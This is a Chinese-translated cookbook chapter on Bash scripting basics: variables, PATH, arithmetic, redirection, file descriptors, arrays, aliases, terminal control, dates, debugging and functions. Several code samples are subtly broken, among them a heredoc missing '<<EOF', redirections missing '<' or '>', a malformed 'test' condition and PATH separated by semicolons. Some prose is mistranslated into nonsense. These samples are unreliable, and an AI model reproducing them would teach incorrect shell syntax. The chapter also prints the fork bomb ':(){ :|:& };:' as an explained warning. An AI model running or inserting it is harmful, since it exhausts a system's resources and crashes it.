-```sh -var="value" #Assign "value" to var echo $var - -``` - -你也可以这样使用它: - -```sh -echo ${var} - -``` - -将显示以下输出: - -```sh -value - -``` - -双引号内的变量值可以和`printf`、`echo`以及其他 shell 命令一起使用: - -```sh -#!/bin/bash #Filename :variables.sh fruit=apple count=5 echo "We have $count ${fruit}(s)" - -``` - -输出如下: - -```sh -We have 5 apple(s) - -``` - -因为 shell 用一个空格来划字,我们需要加花括号让 shell 知道变量名是`fruit`,而不是`fruit(s)`。 - -环境变量继承自父进程。例如,`HTTP_PROXY`是一个环境变量,它定义了用于互联网连接的代理服务器。 - -通常设置如下: - -```sh -HTTP_PROXY=192.168.1.23:3128 export HTTP_PROXY - -``` - -`export`命令声明一个或多个将被子任务继承的变量。导出变量后,从当前 shell 脚本中执行的任何应用都会收到该变量。shell 创建并使用了许多标准环境变量,我们可以导出自己的变量。 - -例如,`PATH`变量列出了文件夹,shell 将在其中搜索应用。典型的`PATH`变量将包含以下内容: - -```sh -$ echo $PATH -/home/slynux/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games - -``` - -目录路径由`:`字符分隔。通常,`$PATH`在`/etc/environment`、`/etc/profile`或`~/.bashrc`中定义。 - -要向`PATH`环境添加新路径,请使用以下命令: - -```sh -export PATH="$PATH:/home/user/bin" - -``` - -或者,使用以下命令: - -```sh -$ PATH="$PATH:/home/user/bin" -$ export PATH -$ echo $PATH -/home/slynux/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/home/user/bin - -``` - -这里我们在`PATH`中增加了`/home/user/bin`。 - -一些众所周知的环境变量是`HOME`、`PWD`、`USER`、`UID`和`SHELL`。 - -使用单引号时,变量不会展开,而是按原样显示。这意味着,`$ echo '$var'`将显示`$var`。 - -反之,`$ echo "$var"`将显示`$var`变量的值(如果已定义),或者不显示(如果未定义)。 - -# 还有更多... - -Shell 有更多的内置功能。这里还有一些: - -# 寻找字符串的长度 - -使用以下命令获取变量值的长度: - -```sh -length=${#var} - -``` - -考虑这个例子: - -```sh -$ var=12345678901234567890$ echo ${#var} 20 - -``` - -`length`参数是字符串中的字符数。 - -# 识别当前 Shell - -要识别当前正在使用的 Shell,使用`SHELL environment`变量。 - -```sh -echo $SHELL - -``` - -或者,使用以下命令: - -```sh -echo $0 - -``` - -考虑这个例子: - -```sh -$ echo $SHELL /bin/bash - -``` - -同样,通过执行`echo $0`命令,我们将获得相同的输出: - -```sh -$ echo $0 /bin/bash - -``` - -# 正在检查超级用户 - -`UID`环境变量保存用户标识。使用此值检查当前脚本是作为根用户还是常规用户运行。考虑这个例子: - -```sh -If [ $UID -ne 0 ]; then - echo Non root user. Please run as root. -else - echo Root user -fi - -``` - -注意`[`实际上是一个命令,必须用空格与字符串的其余部分隔开。我们也可以将前面的脚本编写如下: - -```sh -if test $UID -ne 0:1 - then - echo Non root user. Please run as root - else - echo Root User -fi - -``` - -根用户的`UID`值为`0`。 - -# 修改 Bash 提示字符串(用户名@主机名:~$) - -当我们打开一个终端或者运行一个 shell 时,会看到`user@hostname: /home/$`这样的提示。不同的 GNU/Linux 发行版有不同的提示和不同的颜色。`PS1`环境变量定义主要提示。默认提示由`~/.bashrc`文件中的一行定义。 - -* 查看用于设置`PS1`变量的线: - -```sh - $ cat ~/.bashrc | grep PS1 - PS1='${debian_chroot:+($debian_chroot)}\u@\h:\w\$ ' - -``` - -* 要修改提示,请输入以下命令: - -```sh - slynux@localhost: ~$ PS1="PROMPT> " # Prompt string changed - PROMPT> Type commands here. - -``` - -* 我们可以使用特殊的转义序列来使用彩色文本,如`\e[1;31`(参见本章的*在终端显示输出*配方)。 - -某些特殊字符扩展到系统参数。例如,`\u`扩展为用户名,`\h`扩展为主机名,`\w`扩展为当前工作目录。 - -# 附加到环境变量的函数 - -环境变量通常用于存储搜索可执行文件、库等的路径列表。例如`$PATH`和`$LD_LIBRARY_PATH`,它们通常类似于: - -```sh -PATH=/usr/bin;/bin -LD_LIBRARY_PATH=/usr/lib;/lib - -``` - -这意味着每当 shell 必须执行一个应用(二进制或脚本)时,它将首先查找`/usr/bin`,然后搜索`/bin`。 - -当从源代码构建和安装程序时,我们经常需要为新的可执行文件和库添加自定义路径。例如,我们可以在`/opt/myapp`中安装`myapp`,二进制文件在`/opt/myapp/bin`文件夹中,库在`/opt/myapp/lib`中。 - -# 怎么做... - -此示例显示如何向环境变量的开头添加新路径。第一个示例展示了如何使用到目前为止已经介绍过的内容来实现这一点,第二个示例演示了创建一个函数来简化对变量的修改。本章稍后将介绍函数。 - -```sh -export PATH=/opt/myapp/bin:$PATH -export LD_LIBRARY_PATH=/opt/myapp/lib;$LD_LIBRARY_PATH - -``` - -`PATH`和`LD_LIBRARY_PATH`变量现在看起来应该是这样的: - -```sh -PATH=/opt/myapp/bin:/usr/bin:/bin -LD_LIBRARY_PATH=/opt/myapp/lib:/usr/lib;/lib - -``` - -我们可以通过在`.bashrc`文件中定义一个前置函数来使添加新路径变得更容易。 - -```sh -prepend() { [ -d "$2" ] && eval $1=\"$2':'\$$1\" && export $1; } - -``` - -这可以通过以下方式使用: - -```sh -prepend PATH /opt/myapp/bin -prepend LD_LIBRARY_PATH /opt/myapp/lib - -``` - -# 它是如何工作的... - -`prepend()`函数首先确认函数第二个参数指定的目录存在。如果是这样,`eval`表达式设置变量,第一个参数中的名称等于第二个参数字符串,后跟`:`(路径分隔符),然后是变量的原始值。 - -如果我们尝试前置时变量为空,那么末尾会有一个尾随的`:`。要解决此问题,请将函数修改为: - -```sh -prepend() { [ -d "$2" ] && eval $1=\"$2\$\{$1:+':'\$$1\}\" && export $1 ; } - -``` - -In this form of the function, we introduce a shell parameter expansion of the form: -`${parameter:+expression}` -This expands to expression if parameter is set and is not null. -With this change, we take care to try to append `:` and the old value if, and only if, the old value existed when trying to prepend. - -# 带壳的数学 - -Bash shell 使用`let`、`(( ))`和`[]`命令执行基本的算术运算。`expr`和`bc`实用程序用于执行高级操作。 - -# 怎么做... - -1. 数值赋给变量的方式与字符串赋给变量的方式相同。该值将被访问它的方法视为一个数字: - -```sh - #!/bin/bash no1=4; no2=5; - -``` - -2. `let`命令用于直接执行基本操作。在`let`命令中,我们使用不带`$`前缀的变量名。考虑这个例子: - -```sh - let result=no1+no2 echo $result - -``` - -`let`命令的其他用途如下: - -* 将此用于增量: - -```sh - $ let no1++ - -``` - -* 对于减量,请使用以下内容: - -```sh - $ let no1-- - -``` - -* 用这些来对付人手不足的人: - -```sh - let no+=6 let no-=6 - -``` - -这些分别等于`let no=no+6`和`let no=no-6`。 - -* 替代方法如下: - -`[]`操作符的使用方式与`let`命令相同: - -```sh - result=$[ no1 + no2 ] - -``` - -在[]运算符中使用$前缀是合法的;考虑这个例子: - -```sh - result=$[ $no1 + 5 ] - -``` - -也可以使用`(( ))`运算符。在`(( ))`操作符中用`$`作为变量名的前缀: - -```sh - result=$(( no1 + 50 )) - -``` - -`expr`表达式可用于基本操作: - -```sh - result=`expr 3 + 4` result=$(expr $no1 + 5) - -``` - -前面的方法不支持浮点数, -,只对整数进行运算。 - -3. `bc`应用,精密计算器,是数学运算的高级工具。它有多种选择。我们可以执行浮点运算并使用高级功能: - -```sh - echo "4 * 0.56" | bc 2.24 no=54; result=`echo "$no * 1.5" | bc` echo $result 81.0 - -``` - -`bc`应用接受前缀来控制操作。这些用分号隔开。 - -* **小数位数用 bc** 表示:在下面的例子中,`scale=2`参数将小数位数设置为`2`。因此,`bc`的输出将包含一个有两位小数的数字: - -```sh - echo "scale=2;22/7" | bc 3.14 - -``` - -* **用 bc** 进行基数转换:我们可以从一个基数系统转换到另一个基数系统。此代码将数字从十进制转换为二进制,从二进制转换为十进制: - -```sh - #!/bin/bash Desc: Number conversion no=100 echo "obase=2;$no" | bc 1100100 no=1100100 echo "obase=10;ibase=2;$no" | bc 100 - -``` - -* 以下示例演示了如何计算平方和平方根: - -```sh - echo "sqrt(100)" | bc #Square root echo "10^10" | bc #Square - -``` - -# 玩文件描述符和重定向 - -文件描述符是与输入和输出流相关联的整数。最著名的文件描述符是`stdin`、`stdout`和`stderr`。一个流的内容可以重定向到另一个流。这个方法展示了如何用文件描述符操纵和重定向的例子。 - -# 准备好 - -Shell 脚本经常使用标准输入(`stdin`)、标准输出(`stdout`)和标准错误(`stderr`)。脚本可以将输出重定向到带有大于号的文件。命令生成的文本可能是正常输出或错误消息。默认情况下,正常输出(`stdout`)和错误消息(`stderr`)都会发送到显示屏。这两个流可以通过为每个流指定特定的描述符来分开。 - -文件描述符是与打开的文件或数据流相关联的整数。文件描述符 0、1 和 2 被保留,如下所示: - -* 0: `stdin` -* 1: `stdout` -* 2: `stderr` - -# 怎么做... - -1. 使用大于号将文本追加到文件中: - -```sh - $ echo "This is a sample text 1" > temp.txt - -``` - -这将回显的文本存储在`temp.txt`中。如果`temp.txt`已经存在,单个大于号将删除之前的任何内容。 - -2. 使用双大于将文本追加到文件中: - -```sh - $ echo "This is sample text 2" >> temp.txt - -``` - -3. 使用`cat`查看文件内容: - -```sh - $ cat temp.txt This is sample text 1 This is sample text 2 - -``` - -接下来的食谱演示了重定向`stderr`。当命令产生错误消息时,消息被打印到`stderr`流。考虑以下示例: - -```sh -$ ls + ls: cannot access +: No such file or directory - -``` - -这里`+`是一个无效的参数,因此返回一个错误。 - -Successful and unsuccessful commands -When a command exits because of an error, it returns a nonzero exit status. The command returns zero when it terminates after successful completion. The return status is available in the special variable `$?` (run echo `$?` immediately after the command execution statement to print the exit status). - -以下命令将`stderr`文本打印到屏幕上而不是文件中(因为没有`stdout`输出,`out.txt`将为空): - -```sh -$ ls + > out.txt ls: cannot access +: No such file or directory - -``` - -在下面的命令中,我们使用`2>`(两个大于)将`stderr`重定向到`out.txt`: - -```sh -$ ls + 2> out.txt # works - -``` - -您可以将`stderr`重定向到一个文件,将`stdout`重定向到另一个文件。 - -```sh -$ cmd 2>stderr.txt 1>stdout.txt - -``` - -通过使用以下首选方法将`stderr`转换为`stdout`,也可以将`stderr`和`stdout`重定向到单个文件: - -```sh -$ cmd 2>&1 allOutput.txt - -``` - -这甚至可以通过另一种方法来实现: - -```sh -$ cmd &> output.txt - -``` - -如果您不想看到或保存任何错误消息,您可以将 stderr 输出重定向到`/dev/null`,这将完全删除它。例如,假设我们有三个文件`a1`、`a2`和`a3`。但是,`a1`没有用户的读写执行权限。要打印以字母`a`开头的所有文件的内容,我们使用`cat`命令。按照以下步骤设置测试文件: - -```sh -$ echo A1 > a1 $ echo A2 > a2 $ echo A3 > a3 $ chmod 000 a1 #Deny all permissions - -``` - -使用通配符(`a*`)显示文件的内容将会为`a1`文件生成一条错误消息,因为该文件没有正确的读取权限: - -```sh -$ cat a* cat: a1: Permission denied A2 A3 - -``` - -这里,`cat: a1: Permission denied`属于`stderr`数据。我们可以将`stderr`数据重定向到文件中,同时将`stdout`发送到终端。 - -```sh -$ cat a* 2> err.txt #stderr is redirected to err.txt A2 A3 $ cat err.txt cat: a1: Permission denied - -``` - -有些命令会生成我们想要处理的输出,并保存起来以备将来参考或进行其他处理。`stdout`流是一个单一的流,我们可以将其重定向到一个文件或管道到另一个程序。你可能认为我们没有办法既吃蛋糕又吃它。 - -但是,有一种方法可以将数据重定向到文件,同时将重定向数据的副本作为`stdin`提供给管道中的下一个命令。`tee`命令读取`stdin`并将输入数据重定向至`stdout`和一个或多个文件。 - -```sh -command | tee FILE1 FILE2 | otherCommand - -``` - -在下面的代码中,`stdin`数据由`tee`命令接收。它将`stdout`的一个副本写入`out.txt`文件,并将另一个副本作为`stdin`发送给下一个命令。`cat -n`命令为从`stdin`接收的每一行输入一个行号,并将其写入`stdout`: - -```sh -$ cat a* | tee out.txt | cat -n cat: a1: Permission denied - 1 A2 2 A3 - -``` - -使用`cat`检查`out.txt`的内容: - -```sh -$ cat out.txt A2 A3 - -``` - -Observe that `cat: a1: Permission denied` does not appear, because it was sent to `stderr`. The `tee` command reads only from `stdin`. - -默认情况下,`tee`命令覆盖文件。包含`-a`选项将强制其追加新数据。 - -```sh -$ cat a* | tee -a out.txt | cat -n - -``` - -带有参数的命令遵循以下格式:`command FILE1 FILE2 ...`或简称为`command FILE`。 - -要向`stdout`发送两份输入,请使用`-`作为文件名参数: - -```sh -$ cmd1 | cmd2 | cmd - - -``` - -考虑这个例子: - -```sh -$ echo who is this | tee - who is this who is this - -``` - -或者,我们可以使用`/dev/stdin`作为输出文件名来使用`stdin`。 -同样,标准误差使用`/dev/stderr`,标准输出使用`/dev/stdout`。这些是对应于`stdin`、`stderr`和`stdout`的特殊设备文件。 - -# 它是如何工作的... - -重定向操作符(`>`和`>>`)将输出发送到文件,而不是终端。`>`和`>>`操作员的行为略有不同。两者都将输出重定向到文件,但是单个大于符号(`>`)清空文件,然后写入文件,而双个大于符号(`>>`)将输出添加到现有文件的末尾。 - -默认情况下,重定向在标准输出上运行。要显式获取特定的文件描述符,您必须在操作符前面加上描述符编号。 - -`>`运算符相当于`1>`,同样适用于`>>`(相当于`1>>`)。 - -处理错误时,`stderr`输出转储到`/dev/null`文件。`./dev/null`文件是一个特殊的设备文件,文件接收到的任何数据都会被丢弃。空设备通常被称为**黑洞**,因为进入其中的所有数据都将永远丢失。 - -# 还有更多... - -从`stdin`读取输入的命令可以多种方式接收数据。可以使用`cat`和管道指定我们自己的文件描述符。考虑这个例子: - -```sh -$ cat file | cmd $ cmd1 | cmd2 - -``` - -# 从文件重定向到命令 - -我们可以将文件中的数据读取为带有小于符号(`<`)的`stdin`: - -```sh -$ cmd < file - -``` - -# 从包含在脚本中的文本块重定向 - -文本可以从脚本重定向到文件中。要在自动生成的文件顶部添加警告,请使用以下代码: - -```sh -#!/bin/bash -cat<log.txt -This is a generated file. Do not edit. Changes will be overwritten. -EOF - -``` - -出现在`cat <log.txt`和下一条`EOF`线之间的线将显示为`stdin`数据。`log.txt`的内容如下所示: - -```sh -$ cat log.txt -This is a generated file. Do not edit. Changes will be overwritten. - -``` - -# 自定义文件描述符 - -文件描述符是访问文件的抽象指示符。每个文件访问都与一个称为文件描述符的特殊数字相关联。0、1 和 2 是为`stdin`、`stdout`和`stderr`保留的描述符编号。 - -`exec`命令可以创建新的文件描述符。如果您熟悉其他编程语言中的文件访问,您可能会熟悉打开文件的模式。通常使用这三种模式: - -* 读取模式 -* 用追加模式写入 -* 以截断模式写入 - -`<`操作员从文件中读取到`stdin`。`>`操作符通过截断写入文件(数据在截断内容后写入目标文件)。`>>`操作符追加写入文件(数据追加到已有文件内容,目标文件内容不会丢失)。文件描述符是用三种模式之一创建的。 - -创建用于读取文件的文件描述符: - -```sh -$ exec 3 input.txt $ exec 3output.txt # open for writing - -``` - -考虑这个例子: - -```sh -$ exec 4>output.txt $ echo newline >&4 $ cat output.txt newline - -``` - -现在创建一个用于写入的文件描述符(追加模式): - -```sh -$ exec 5>>input.txt - -``` - -考虑以下示例: - -```sh -$ exec 5>>input.txt $ echo appended line >&5 $ cat input.txt newline appended line - -``` - -# 数组和关联数组 - -数组允许脚本使用索引将数据集合存储为单独的实体。Bash 既支持使用整数作为数组索引的常规数组,也支持使用字符串作为数组索引的关联数组。当数据以数字方式组织时,应该使用常规数组,例如,一组连续的迭代。当数据由字符串(例如主机名)组织时,可以使用关联数组。在这个食谱中,我们将看到如何使用这两者。 - -# 准备好 - -要使用关联数组,您必须拥有 Bash 版本 4 或更高版本。 - -# 怎么做... - -可以使用不同的技术定义数组: - -1. 使用单行值列表定义数组: - -```sh - array_var=(test1 test2 test3 test4) #Values will be stored in consecutive locations starting - from index 0. - -``` - -或者,将数组定义为一组索引值对: - -```sh - array_var[0]="test1" array_var[1]="test2" array_var[2]="test3" array_var[3]="test4" array_var[4]="test5" array_var[5]="test6" - -``` - -2. 使用以下命令打印给定索引处的数组内容: - -```sh - echo ${array_var[0]} test1 index=5 echo ${array_var[$index]} test6 - -``` - -3. 使用以下命令将数组中的所有值打印为列表: - -```sh - $ echo ${array_var[*]} test1 test2 test3 test4 test5 test6 - -``` - -或者,您可以使用以下命令: - -```sh - $ echo ${array_var[@]} test1 test2 test3 test4 test5 test6 - -``` - -4. 打印数组的长度(数组中元素的数量): - -```sh - $ echo ${#array_var[*]}6 - -``` - -# 还有更多... - -关联数组已从 4.0 版引入 Bash。当索引是字符串(站点名称、用户名、非顺序数字等)时,关联数组比数字索引数组更容易处理。 - -# 定义关联数组 - -关联数组可以使用任何文本数据作为数组索引。需要声明语句将变量名定义为关联数组: - -```sh -$ declare -A ass_array - -``` - -声明后,使用以下两种方法之一将元素添加到关联数组中: - -* 内联索引值列表方法: - -```sh - $ ass_array=([index1]=val1 [index2]=val2) - -``` - -* 单独的索引值分配: - -```sh - $ ass_array[index1]=val1 $ ass_array'index2]=val2 - -``` - -例如,考虑水果的价格分配,使用关联数组: - -```sh -$ declare -A fruits_value $ fruits_value=([apple]='100 dollars' [orange]='150 dollars') - -``` - -显示数组的内容: - -```sh -$ echo "Apple costs ${fruits_value[apple]}" Apple costs 100 dollars - -``` - -# 数组索引列表 - -数组有索引来索引每个元素。普通数组和关联数组在索引类型方面有所不同。 - -获取数组中的索引列表。 - -```sh -$ echo ${!array_var[*]} - -``` - -或者,我们也可以使用以下命令: - -```sh -$ echo ${!array_var[@]} - -``` - -在前面的`fruits_value`数组示例中,考虑以下命令: - -```sh -$ echo ${!fruits_value[*]} orange apple - -``` - -这也适用于普通阵列。 - -# 访问别名 - -别名是代替输入长命令序列的快捷方式。在本食谱中,我们将看到如何使用`alias`命令创建别名。 - -# 怎么做... - -以下是您可以对别名执行的操作: - -1. 创建别名: - -```sh - $ alias new_command='command sequence' - -``` - -本示例为`apt-get install`命令创建一个快捷方式: - -```sh - $ alias install='sudo apt-get install' - -``` - -一旦定义了别名,我们就可以输入`install`而不是`sudo apt-get install`。 - -2. `alias`命令是暂时的:别名存在,直到我们关闭当前终端。要使别名对所有 shells 可用,请将此语句添加到`~/.bashrc`文件中。`~/.bashrc`中的命令总是在新的交互式 shell 进程产生时执行: - -```sh - $ echo 'alias cmd="command seq"' >> ~/.bashrc - -``` - -3. 要删除别名,请从`~/.bashrc`中删除其条目(如果有)或使用`unalias`命令。或者,`alias example=`应该取消别名`example`的设置。 -4. 本示例为`rm`创建一个别名,该别名将删除原始文件并在备份目录中保留一份副本: - -```sh - alias rm='cp $@ ~/backup && rm $@' - -``` - -When you create an alias, if the item being aliased already exists, it will be replaced by this newly aliased command for that user. - -# 还有更多... - -以特权用户身份运行时,别名可能会破坏安全。为了避免危及您的系统,您应该退出命令。 - -# 转义别名 - -鉴于创建别名来伪装成本机命令是多么容易,您不应该以特权用户的身份运行别名命令。我们可以通过转义想要运行的命令来忽略当前定义的任何别名。考虑这个例子: - -```sh -$ \command - -``` - -`\`字符会转义该命令,运行该命令时不会有任何别名更改。在不受信任的环境中运行特权命令时,通过在命令前面加上`\`来忽略别名始终是一种很好的安全做法。攻击者可能用他/她自己的自定义命令来混淆特权命令,以窃取用户向该命令提供的关键信息。 - -# 列出别名 - -`alias`命令列出了当前定义的别名: - -```sh -$ aliasalias lc='ls -color=auto' alias ll='ls -l' alias vi='vim' - -``` - -# 获取关于终端的信息 - -在编写命令行 shell 脚本时,我们经常需要操作关于当前终端的信息,如列数、行数、光标位置、屏蔽的密码字段等。该方法有助于收集和操作终端设置。 - -# 准备好 - -`tput`和`stty`命令是用于终端操作的实用程序。 - -# 怎么做... - -以下是`tput`命令的一些功能: - -* 返回终端中的列数和行数: - -```sh - tput cols tput lines - -``` - -* 返回当前终端名称: - -```sh - tput longname - -``` - -* 将光标移动到 100,100 位置: - -```sh - tput cup 100 100 - -``` - -* 设置终端背景颜色: - -```sh - tput setb n - -``` - -`n`的值可以是 0 到 7 范围内的值 - -* 设置终端前景色: - -```sh - tput setf n - -``` - -`n`的值可以是 0 到 7 范围内的值 - -Some commands including the common `color ls` may reset the foreground and background color. - -* 使用以下命令将文本加粗: - -```sh - tput bold - -``` - -* 执行开始和结束下划线: - -```sh - tput smul tput rmul - -``` - -* 要从光标处删除到行尾,请使用以下命令: - -```sh - tput ed - -``` - -* 输入密码时,脚本不应显示字符。以下示例演示了使用`stty`命令禁用字符回声: - -```sh - #!/bin/sh #Filename: password.sh echo -e "Enter password: " # disable echo before reading password stty -echo read password # re-enable echo stty echo echo echo Password read. - -``` - -The `-echo` option in the preceding command disables the output to the terminal, whereas `echo` enables output. - -# 获取和设置日期和延迟 - -时间延迟用于在程序执行期间等待设定的时间量(例如 1 秒),或者每隔几秒钟(或每隔几个月)监控一个任务。使用时间和日期需要了解时间和日期是如何表示和操作的。这个食谱将告诉你如何处理日期和时间延迟。 - -# 准备好 - -日期可以多种格式打印。在内部,日期存储为从 1970-01-01 的 00:00:00 开始的整数秒。这被称为**纪元**或 **Unix 时间**。 - -可以从命令行设置系统的日期。接下来的食谱演示了如何阅读和设置日期。 - -# 怎么做... - -可以读取不同格式的日期,也可以设置日期。 - -1. 阅读日期: - -```sh - $ date Thu May 20 23:09:04 IST 2010 - -``` - -2. 打印纪元时间: - -```sh - $ date +%s 1290047248 - -``` - -date 命令可以将许多格式化的日期字符串转换为纪元时间。这允许您使用多种日期格式的日期作为输入。通常,如果您是从系统日志或任何标准应用生成的输出中收集日期,您不需要担心您使用的日期字符串格式。 -将日期字符串转换为纪元: - -```sh - $ date --date "Wed mar 15 08:09:16 EDT 2017" +%s 1489579718 - -``` - -`--date`选项定义一个日期字符串作为输入。我们可以使用任何日期格式选项来打印输出。date 命令可用于查找给定日期字符串的一周中的某一天: - -```sh - $ date --date "Jan 20 2001" +%A Saturday - -``` - -日期格式字符串列在*中提到的表格中...*段 - -3. 使用前缀为`+`的格式字符串组合作为`date`命令的参数,以您选择的格式打印日期。考虑这个例子: - -```sh - $ date "+%d %B %Y" 20 May 2010 - -``` - -4. 设置日期和时间: - -```sh - # date -s "Formatted date string" # date -s "21 June 2009 11:01:22" - -``` - -On a system connected to a network, you'll want to use `ntpdate` to set the date and time: -`/usr/sbin/ntpdate -s time-b.nist.gov` - -5. 优化代码的规则是先度量。date 命令可用于计算一组命令执行所需的时间: - -```sh - #!/bin/bash #Filename: time_take.sh start=$(date +%s) commands; statements; end=$(date +%s) difference=$(( end - start)) echo Time taken to execute commands is $difference seconds. - -``` - -The date command's minimum resolution is one second. A better method for timing commands is the `time` command: -`time commandOrScriptName`. - -# 它是如何工作的... - -Unix 纪元被定义为自 1970 年 1 月 1 日午夜前**协调世界时** ( **世界协调时**)以来经过的秒数,不包括闰秒。当您需要计算两个日期或时间之间的差异时,纪元时间非常有用。将两个日期字符串转换为纪元,并取纪元值之间的差值。本食谱计算两个日期之间的秒数: - -```sh -secs1=`date -d "Jan 2 1970" -secs2=`date -d "Jan 3 1970" -echo "There are `expr $secs2 - $secs1` seconds between Jan 2 and Jan 3" -There are 86400 seconds between Jan 2 and Jan 3 - -``` - -显示自 1970 年 1 月 1 日午夜以来的时间(以秒为单位),不容易被人类读取。日期命令支持人类可读格式的输出。 - -下表列出了日期命令支持的格式选项。 - -| **日期组件** | **格式** | -| --- | --- | -| 工作日 | `%a`(例如,Sat)`%A`(例如周六) | -| 月 | `%b`(例如,11 月)`%B`(例如 11 月) | -| 一天 | `%d`(例如 31) | -| 格式日期(年/月/日) | `%D`(例如 10/18/10) | -| 年 | `%y`(例如,10)`%Y`(例如 2010 年) | -| 小时 | `%I`或`%H`(例如 08) | -| 分钟 | `%M`(例如 33) | -| 第二 | `%S`(例如,10) | -| 纳米秒 | `%N`(例如,695208515) | -| Epoch Unix 时间(秒) | `%s`(例如,1290049486) | - -# 还有更多... - -在编写循环执行的监控脚本时,生成时间间隔至关重要。以下示例显示了如何生成时间延迟。 - -# 在脚本中产生延迟 - -休眠命令将延迟在`seconds`中给出的脚本执行时间。以下脚本使用`tput`和`sleep`从 0 到 40 秒计数: - -```sh -#!/bin/bash -#Filename: sleep.sh -echo Count: -tput sc - -# Loop for 40 seconds -for count in `seq 0 40` -do - tput rc - tput ed - echo -n $count - sleep 1 -done - -``` - -在前面的例子中,一个变量遍历由`seq`命令生成的数字列表。我们使用`tput sc`来存储光标位置。在每次循环执行时,我们通过使用`tput rc`恢复光标位置,然后使用`tputs ed`清除到行尾,在终端中写入新的计数。清除该行后,脚本将回显新值。sleep 命令会导致脚本在循环的每次迭代之间延迟 1 秒。 - -# 调试脚本 - -调试通常比编写代码花费更长的时间。每种编程语言都应该实现的一个特性是在发生意外时生成跟踪信息。可以读取调试信息来理解是什么导致程序以一种意想不到的方式运行。Bash 提供了每个开发人员都应该知道的调试选项。这个食谱展示了如何使用这些选项。 - -# 怎么做... - -我们既可以使用 Bash 内置的调试工具,也可以以易于调试的方式编写脚本;以下是如何: - -1. 添加`-x`选项以启用 Shell 脚本的调试跟踪。 - -```sh - $ bash -x script.sh - -``` - -运行带有`-x`标志的脚本将打印每个当前状态的源代码行。 - -You can also use `sh -x script`. - -2. 使用`set -x`和`set +x`只调试部分脚本。考虑这个例子: - -```sh - #!/bin/bash - #Filename: debug.sh - for i in {1..6}; - do - set -x - echo $i - set +x - done - echo "Script executed" - -``` - -在前面的脚本中,`echo $i`的调试信息将仅被打印,因为调试仅限于使用`-x`和`+x`的部分。 -该脚本使用`{start..end}`构造从起始值迭代到结束值,而不是前面示例中使用的`seq`命令。这个构造比调用`seq`命令稍快。 - -3. 上述调试方法由 Bash 内置提供。它们以固定的格式产生调试信息。在许多情况下,我们需要自己格式的调试信息。我们可以定义一个 _DEBUG 环境变量来启用和禁用调试,并以我们自己的调试风格生成消息。 - -请看下面的示例代码: - -```sh - #!/bin/bash - function DEBUG() - { - [ "$_DEBUG" == "on" ] && $@ || : - } - for i in {1..10} - do - DEBUG echo "I is $i" - done - -``` - -在调试设置为“开”的情况下运行前面的脚本: - -```sh - $ _DEBUG=on ./script.sh - -``` - -我们在每个要打印调试信息的语句前加前缀`DEBUG`。如果`_DEBUG=on`没有传递给脚本,调试信息不会被打印。在 Bash 中,命令`:`告诉 shell 什么也不要做。 - -# 它是如何工作的... - -`-x`标志在脚本执行时输出每一行。然而,我们可能只需要观察部分源线。Bash 使用`set builtin`在脚本中启用和禁用调试打印: - -* `set -x`:执行时显示参数和命令 -* `set +x`:这将禁用调试 -* `set -v`:读取时显示输入 -* `set +v`:这将禁用打印输入 - -# 还有更多... - -我们还可以使用其他方便的方法来调试脚本。我们可以用一种更复杂的方式来调试脚本。 - -# Shebang hack - -可以将 shebang 从`#!/bin/bash`更改为`#!/bin/bash -xv`以启用调试,而无需任何附加标志(`-xv`标志本身)。 - -当每行以`+`开头时,很难在默认输出中跟踪执行流程。将 PS4 环境变量设置为`'$LINENO:'`以显示实际行号: - -```sh -PS4='$LINENO: ' - -``` - -调试输出可能很长。使用`-x`或设置`-x`时,调试输出发送至`stderr`。可以使用以下命令将其重定向到文件: - -```sh -sh -x testScript.sh 2> debugout.txt - -``` - -Bash 4.0 和更高版本支持使用编号流调试输出: - -```sh -exec 6> /tmp/debugout.txt -BASH_XTRACEFD=6 - -``` - -# 函数和参数 - -函数和别名看起来很相似,但行为略有不同。最大的区别是函数参数可以在函数体中的任何地方使用,而别名只是将参数附加到命令的末尾。 - -# 怎么做... - -函数由函数命令、函数名、开/闭括号和用花括号括起来的函数体定义: - -1. 函数的定义如下: - -```sh - function fname() - { - statements; - } - -``` - -或者,它可以定义为: - -```sh - fname() - { - statements; - } - -``` - -它甚至可以定义如下(对于简单函数): - -```sh - fname() { statement; } - -``` - -2. 使用函数的名称调用函数: - -```sh - $ fname ; # executes function - -``` - -3. 传递给函数的参数是按位置访问的,`$1`是第一个参数,`$2`是第二个参数,依此类推: - -```sh - fname arg1 arg2 ; # passing args - -``` - -以下是功能`fname`的定义。在`fname`函数中,我们包含了访问函数参数的各种方式。 - -```sh - fname() - { - echo $1, $2; #Accessing arg1 and arg2 - echo "$@"; # Printing all arguments as list at once - echo "$*"; # Similar to $@, but arguments taken as single - entity - return 0; # Return value - } - -``` - -传递给脚本的参数可以通过`$0`(脚本的名称)来访问: - -* **将别名与功能进行比较** -* 这里有一个别名,通过将`ls`输出管道连接到`grep`来显示文件子集。该参数附在命令的末尾,因此`lsg txt`扩展为`ls | grep txt`: - -```sh - $> alias lsg='ls | grep' - $> lsg txt - file1.txt - file2.txt - file3.txt - -``` - -* 如果我们想扩展它来获取`/sbin/ifconfig`中设备的 IP 地址,我们可以尝试以下方法: - -```sh - $> alias wontWork='/sbin/ifconfig | grep' - $> wontWork eth0 - eth0 Link encap:Ethernet HWaddr 00:11::22::33::44:55 - -``` - -* `grep`命令找到的是`eth0`字符串,不是 IP 地址。如果我们使用函数而不是别名,我们可以将参数传递给`ifconfig`,而不是将其附加到`grep`: - -```sh - $> function getIP() { /sbin/ifconfig $1 | grep 'inet '; } - $> getIP eth0 - inet addr:192.168.1.2 Bcast:192.168.255.255 Mask:255.255.0.0 - -``` - -# 还有更多... - -让我们探索关于 Bash 函数的更多技巧。 - -# 递归函数 - -Bash 中的函数也支持递归(函数可以自己调用)。比如`F() { echo $1; F hello; sleep 1; }`。 - -叉形炸弹 - -递归函数是一个调用自身的函数:递归函数必须有一个退出条件,否则它们会不断繁殖,直到系统耗尽资源并崩溃。 - -该函数:`:(){ :|:& };:`永远生成进程,最终导致拒绝服务攻击。 - -`&`字符用函数调用后置,将子进程带入后台。这个危险的代码永远分叉处理,被称为分叉炸弹。 - -您可能会发现很难解释前面的代码。参考维基百科页面[h . t . t . p://e . n . w . I . k . p . d . I . a . o . r . g/w . I . k . I/F . o . r . k _ b . o . m . b](https://en.wikipedia.org/wiki/Fork_bomb)了解更多关于叉弹的细节和解释。 